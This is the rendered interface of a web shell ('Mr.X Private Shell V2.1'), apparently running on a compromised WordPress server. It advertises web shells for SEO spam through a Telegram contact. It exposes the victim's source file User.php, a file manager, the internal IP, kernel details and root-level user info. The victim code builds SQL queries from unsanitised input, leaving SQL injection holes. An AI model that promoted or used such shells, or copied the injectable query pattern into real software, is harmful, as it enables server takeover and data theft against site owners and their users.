__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Upload:
Command:
<?php /** * @author Prasetyo Pandu <prasetyowira@gmail.com> * Date: 23/10/17 * Time: 12.10 */ namespace Api; require_once 'BaseClass.php'; define( 'BLOCK_LOAD', true ); ini_set('display_errors','on'); use Api\Helpers\Response; class User extends BaseClass { use Response; protected $anak; private $table_anak; private $table_profile; public function __construct() { parent::__construct(); $this->table = 'milna_users'; $this->table_profile = 'milna_user_profile'; $this->table_anak = 'milna_data_anak'; } public function register($input) { do_action('um_add_user_frontend', $input); } public function getUserProfile() { if (!is_user_logged_in()){ return $this->json_response('Not Authorize',[],403); } $user = wp_get_current_user(); $query = 'SELECT * FROM '.$this->table_profile.' WHERE user_id = '.$user->ID; $profile = $this->wpdb->get_results($query); if (empty($profile)){ return $this->json_response('No Found', [], 404); } return $this->json_response('Success', $profile[0], 200); } public function storeUserProfile($input) { if (empty($input['user_id'])){ return $this->json_response('Bad Request',[],400); } $query = 'SELECT * FROM '.$this->table.' WHERE id = '.$input['user_id']; $user = $this->wpdb->get_results($query); if (empty($user)){ return $this->json_response('Bad Request',[],400); } $response = $this->wpdb->insert($this->table_profile,$input); if ($response !== 1) return $this->json_response('Internal Server Error', [], 500); return $this->json_response('Store Success', [], 201); } public function updateUserProfile($input) { if (!is_user_logged_in()){ return $this->json_response('Not Authorize',[],403); } $user = wp_get_current_user(); $query = 'SELECT * FROM '.$this->table_profile.' WHERE user_id = '.$user->ID; $profile = $this->wpdb->get_results($query); if (empty($profile)) { //If Entity Not Found return $this->json_response('Not Found',[],404); } else { //TODO NEED CHECK EITHER FIELD IS NOT SET OR FIELD IS NULL $args['id'] = $profile[0]->id; $query = $this->queryBuilder('update', $this->table_profile, $input, $args); $response = $this->wpdb->query($query); if ($response === false) return $this->json_response('Internal Server Error', [], 500); return $this->json_response('Update Success', [], 201); } } private function filter($value){ $value = sanitize_text_field($value); return $value; } }
Filemanager
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
Helpers | Folder | 0777 |
|
|
Tools | Folder | 0777 |
|
|
Anak.php | File | 5.67 KB | 0666 |
|
Anak.phpbakup | File | 5.66 KB | 0666 |
|
Autoloader.php | File | 840 B | 0666 |
|
BaseClass.php | File | 4.49 KB | 0666 |
|
Profile.php | File | 1.41 KB | 0666 |
|
User.php | File | 2.44 KB | 0666 |
|
index.php | File | 0 B | 0666 |
|
Server Info
- Hostname: milna-web
- IP Address: 172.31.26.98
- PHP Version: 7.4.33
- Server Software: Apache/2.4.58 (Ubuntu)
- HDD Total Space: 18.33 GB
- HDD Free Space: 2.48 GB
- Total Domains in Server: 2
- System: Linux milna-web 6.8.0-1018-aws #20-Ubuntu SMP Thu Oct 10 18:14:42 UTC 2024 x86_64
System Info
User Info
- Username: root
- User ID: 0
- Group ID: 0
Copyright reserved © 2025 xtooler.online Shell Coded By Mr.X
01
2018